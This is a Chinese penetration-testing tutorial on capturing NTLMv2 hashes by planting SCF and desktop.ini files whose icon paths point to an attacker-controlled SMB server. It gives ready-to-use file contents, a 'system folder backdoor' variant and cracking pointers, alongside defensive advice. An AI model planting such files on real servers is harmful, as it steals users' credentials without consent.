渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash
字数 1233 2025-08-29 08:32:01
利用图标文件获取连接文件服务器的NTLMv2 Hash渗透技巧
0x00 技术背景
在渗透测试中,当获得内网文件服务器权限后,如何进一步获取更多用户凭证是一个重要课题。本文介绍通过修改文件服务器上的图标文件,强制用户访问伪造文件服务器并捕获NTLMv2 Hash的方法。
0x01 核心原理
利用SMB协议特性:客户端连接服务端时默认会使用本机用户名和密码hash尝试认证。通过欺骗用户访问伪造文件服务器,可在伪造服务器上抓包获取NTLMv2 Hash。
0x02 实现方法
方法一:添加SCF文件强制访问
SCF文件特性:
- SCF(Shell Command File)是Windows资源管理器命令文件
- 包含IconFile属性,支持UNC路径
- 资源管理器打开包含SCF文件的目录时会自动访问IconFile指定的服务器
实施步骤:
- 在真实文件服务器共享目录创建test.scf文件,内容:
[Shell]
Command=2
IconFile=\\伪造服务器IP\test\test.ico
[Taskbar]
Command=ToggleDesktop
- 在伪造服务器上使用Wireshark抓包
- 当用户访问真实文件服务器时,自动向伪造服务器发送NTLMv2 Hash
方法二:修改文件夹图标强制访问
Desktop.ini文件特性:
- 存储文件夹自定义设置
- 包含IconResource属性,支持UNC路径
实施步骤:
- 修改真实文件服务器上文件夹的desktop.ini文件,添加:
[.ShellClassInfo]
IconResource=\\伪造服务器IP\test\SHELL32.dll,4
[ViewState]
Mode=
Vid=
FolderType=Generic
- 在伪造服务器上抓包
- 用户访问该文件夹时自动发送NTLMv2 Hash
方法三:系统文件夹后门
高级利用:
- 修改系统文件夹(如Program Files)的desktop.ini文件
- 添加IconResource指向伪造服务器
- 需要管理员权限
- 用户访问系统文件夹时触发Hash发送
0x03 数据捕获与利用
在伪造服务器上捕获的数据格式:
username::domain:challenge:HMAC-MD5:blob
破解方法:
- 使用Hashcat进行离线破解
- 参考Net-NTLMv2破解技术
0x04 防御措施
-
文件监控:
- 定期检查.scf和desktop.ini文件
- 特别关注包含UNC路径的文件
-
网络防护:
- 如无必要,禁用139/445端口
- 配置防火墙规则限制SMB流量
-
系统加固:
- 限制对系统文件夹的修改权限
- 启用SMB签名防止中间人攻击
-
用户教育:
- 提高对异常文件行为的警觉性
- 避免使用高权限账户浏览文件共享
0x05 技术对比
| 方法 | 隐蔽性 | 所需权限 | 触发条件 |
|---|---|---|---|
| SCF文件 | 中 | 普通写权限 | 访问包含目录 |
| Desktop.ini | 高 | 普通写权限 | 访问特定文件夹 |
| 系统后门 | 最高 | 管理员权限 | 访问系统目录 |
0x06 总结
本文介绍了三种通过图标文件获取NTLMv2 Hash的技术,从基础的SCF文件利用到高隐蔽性的系统文件夹后门。防御方应重点关注特殊文件的监控和SMB协议的管控,而渗透测试人员可依据不同场景选择最合适的攻击方法。